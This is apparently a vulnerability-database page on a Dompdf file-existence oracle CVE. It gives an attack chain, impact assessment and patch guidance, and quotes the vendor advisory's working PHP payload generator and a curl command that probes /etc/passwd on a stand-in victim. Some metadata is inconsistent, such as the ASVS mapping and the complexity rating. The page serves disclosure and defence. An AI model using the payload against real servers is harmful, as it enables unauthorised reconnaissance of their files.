Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify public HTML-to-PDF endpoint
-
DeliveryCraft @font-face payload referencing target file path via file://
-
ExploitSubmit large POST request to endpoint
-
ExecutionObserve crash (memory exhaustion) vs clean render
-
PersistConfirm file existence from response discrepancy
-
ImpactEnumerate additional sensitive paths (e.g., .env, SSH keys)
Vulnerability Assessment
| Weakness |
CWE
ASVS 5.0
V6 - Authentication Timing-safe comparisons
|
| Exploitation Conditions | Exploitation requires the target application to accept unrestricted or unsanitized HTML content from the attacker and pass it directly to Dompdf's loadHtml() method without stripping @font-face CSS or file:// URIs. The PHP process running Dompdf must have a memory limit low enough that a sufficiently high number of file:// resolution attempts (typically in the thousands, calibrated per target) can trigger PHP_FATAL memory exhaustion - very high memory limits reduce feasibility. The HTTP endpoint must permit large POST bodies sufficient to carry thousands of @font-face declarations. Setting $_dompdf_show_warnings to true amplifies memory usage and lowers the iteration threshold required. Exploitation is NOT blocked by Dompdf's CHROOT configuration. The attacker does not need the ability to read file contents - only the binary crash-vs-success signal is needed. Exploitation is limited to confirming file existence, not reading contents; applications that sanitize HTML, use templated (non-user-controlled) HTML, or configure AllowedProtocols to exclude file:// are not exploitable. |
| Impact | Real-world risk is moderate but conditional. No CVSS vector was supplied by NVD; the assessed vector (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L) reflects the network-reachable nature offset by meaningful attack complexity - specifically, the attacker must calibrate iteration count to the target's PHP memory limit, which varies per server and requires probing. The impact is limited to information disclosure (file existence, not file contents) and a denial-of-service side effect on the PDF generation endpoint. No EPSS data is available in the provided intelligence. The vulnerability is not in CISA KEV. A detailed proof-of-concept with working PHP payload script is publicly disclosed in the GHSA advisory, significantly lowering the barrier to exploitation. The critical limiting factor is that exploitation only applies to applications that pass raw, unsanitized user HTML directly to Dompdf - secure integrations that sanitize or template HTML are not affected. CHROOT configuration does NOT prevent exploitation as the oracle operates through memory behavior rather than file content retrieval. |
| Exploit ScenarioDerived | An attacker targeting a public PDF generation endpoint (e.g., POST /generate-pdf with an html_input parameter) generates a payload containing thousands of @font-face declarations each referencing a target path such as /etc/passwd via file:// with distinct font-family names, then applies each family to a span element. The payload is submitted via HTTP POST; if the PDF endpoint returns an error or timeout (memory exhaustion), the file exists; if it returns a valid PDF, it does not. A detailed working proof-of-concept script (payload_gen.php) is included in the public GHSA advisory, making this trivially reproducible. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 22, 2026
File existence oracle in Dompdf allows remote unauthenticated attackers to enumerate sensitive server-side files by exploiting a behavioral discrepancy in CSS @font-face processing. Crafted HTML containing thousands of @font-face declarations referencing local paths via the file:// protocol causes PHP memory exhaustion only when the target file exists, producing a detectable crash signal versus a clean render for non-existent files. Publicly available exploit code exists (detailed in the GHSA advisory); no KEV listing at time of analysis, but exploitation requires only a public HTTP endpoint that passes unsanitized HTML to Dompdf. A vendor-released patch (v3.1.6) is available.
RemediationAI
The primary fix is upgrading Dompdf to version 3.1.6 or later, which adds protocol validation in Stylesheet.php's resolve_url() to reject disallowed protocol schemes (including file://) before any resource resolution attempt. The release is at https://github.com/dompdf/dompdf/releases/tag/v3.1.6 and the patch commit is https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4. As a compensating control before patching, applications should sanitize or restrict HTML input to a safe allowlist before passing it to Dompdf - specifically stripping @font-face declarations and file:// references from any user-supplied CSS. Alternatively, configure Dompdf's AllowedProtocols option to explicitly exclude the file:// protocol, which the patched version enforces programmatically. Raising PHP memory limits is NOT a recommended workaround - it increases the iteration count required but does not eliminate the oracle. Ensure $_dompdf_show_warnings is set to false in production to reduce incidental memory amplification. The advisory is at https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dompdf (composer package dompdf/dompdf) is a PHP HTML-to-PDF renderer widely used in web applications. The vulnerable code path lies in Stylesheet.php's resolve_url() method, which processes CSS font source references without validating the protocol scheme before attempting resource resolution. The @font-face CSS directive accepts a src: url() pointing to file:// URIs, causing Dompdf to attempt local file reads. When the same file:// reference is declared thousands of times across distinct @font-face families, and each referenced font is applied to a DOM element, Dompdf attempts repeated resolution of the local file. When the file exists, the engine allocates memory processing it with each iteration, eventually exhausting the PHP memory limit (PHP Fatal: Allowed memory size exhausted). When the file does not exist, processing fails early with negligible allocation, leaving memory pressure well below the limit. This timing and resource side-channel is classified as CWE-203 (Observable Discrepancy). The commit fix (75c39a0) adds protocol validation inside resolve_url() - checking the resolved path against configured allowed protocols and their rule callbacks before any resource load attempt, blocking file:// access when not explicitly permitted.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Network-exploitable but AC:H due to memory-limit calibration requirement; C:L for file-existence oracle only; A:L for endpoint crash side effect.
Primary rating from Vendor (https://github.com/dompdf/dompdf).
CVSS VectorVendor: https://github.com/dompdf/dompdf
Lifecycle Timeline
1DescriptionCVE.org
Description
Dompdf is vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion.
The critical point of this flaw is the discrepancy in system behavior:
- If the file exists: Dompdf attempts to process the local resource multiple times, leading to an "Allowed memory size exhausted" error, which crashes the creation.
- If the file does NOT exist: The rendering engine fails quickly or ignores the import, and the memory limit is not reached.
This discrepancy allows an attacker to enumerate sensitive files on the server, regardless of CHROOT restrictions.
Some factors impact the ability of attackers to exploit the vulnerability:
- The attacker must be allowed to provide unrestricted and/or unsanitized HTML content.
- System parameters must be configured in such a way that Dompdf is able to generate a memory overflow error.
- HTTP GET querystring or POST body must allow large data
- Memory limits must be low enough that Dompdf can trigger an overflow
$_dompdf_show_warningswhen set to true can bump memory usage
---
Example Scenario
1. Vulnerable System
A web application provides a public mechanism for generating a PDF based on user supplied content. The application accepts raw HTML input or renders user-supplied content without sanitation or validation and processes it using Dompdf.
- Vulnerable Endpoint: http://example.com/index.php
- Vulnerable Parameter: html_input (POST)
index.php simplified:
$dompdf = new Dompdf(new Options());
$dompdf->loadHtml($_POST['html_input']);
$dompdf->render();
$dompdf->stream("document.pdf");<img width="2530" height="1320" alt="image" src="https://github.com/user-attachments/assets/a3fe336c-097a-408a-b8b4-cdbaf5f8d7c4" />
2. Attack Generation
The attacker runs a script locally on their own machine to generate a heavy payload. This payload is then sent to the victim's public endpoint via a standard HTTP POST request.
- Attacker's Local Script (payload_gen.php):
<?php
/**
* Usage: php exploit.php <file_path> <iterations>
* Example: php exploit.php /etc/passwd 5000
*/
// Check if the file argument was provided
if ($argc < 2) {
echo "[-] Usage: php exploit.php <file_to_read> [iterations]\n";
exit(1);
}
$file = $argv[1];
$iterations = isset($argv[2]) ? (int)$argv[2] : 5000;
function generate_payload($file, $iterations) {
$css = "";
$body = "";
// We use @font-face to trick the engine into attempting a local file read
for ($i = 0; $i < $iterations; $i++) {
$css .= "@font-face { font-family: \"f{$i}\"; src: url(\"file://{$file}\"); }\n";
$body .= "<span style=\"font-family:f{$i}\">.</span>";
}
return "<html><head><style>{$css}</style></head><body>{$body}</body></html>";
}
// Output the payload to stdout for piping
echo generate_payload($file, $iterations);
?>3. Exploitation
The attacker pipes the malicious HTML into a curl request targeting the remote server:
php payload_gen.php /etc/passwd 5530 | curl -X POST https://victim-app.com/index.php \
--data-urlencode "html_input@-" \
--output response.pdfBy analyzing the response.pdf file generated (by the size or error), the remote attacker can confirm the existence of files without having direct access to the server. When a file reference is valid and the execution parameters are met, Dompdf overflows the PHP limit and hangs/crashes.
Existent file:
<img width="2544" height="702" alt="image" src="https://github.com/user-attachments/assets/a565e9b9-5bf7-486c-acac-c2adfc4af536" />
Non-existent file:
<img width="1872" height="706" alt="image" src="https://github.com/user-attachments/assets/6e71dbdd-294a-4b2c-a183-4bbbfddcdee2" />
Note that the specific iteration count that will trigger the overflow varies by system. This is based on the memory limit imposed by the target system as well as the PHP internals related to memory management (heap allocation and garbage clean up). Under most scenarios there is no apparent difference in memory usage between existent and non-existent files. But with a specific number of file operations the memory limit can be breached only when the file exists.
---
Impact
Information Disclosure (File Oracle via Reflected HTML): In scenarios where a user can control reflected HTML, an attacker can confirm the existence of sensitive local files (e.g., .env files, SSH keys, or system configurations). By observing whether the application returns a memory exhaustion error (file exists) or renders normally (file does not exist), the attacker can systematically map the server's file system.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-49997
GHSA-7x2p-4jvh-6384
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB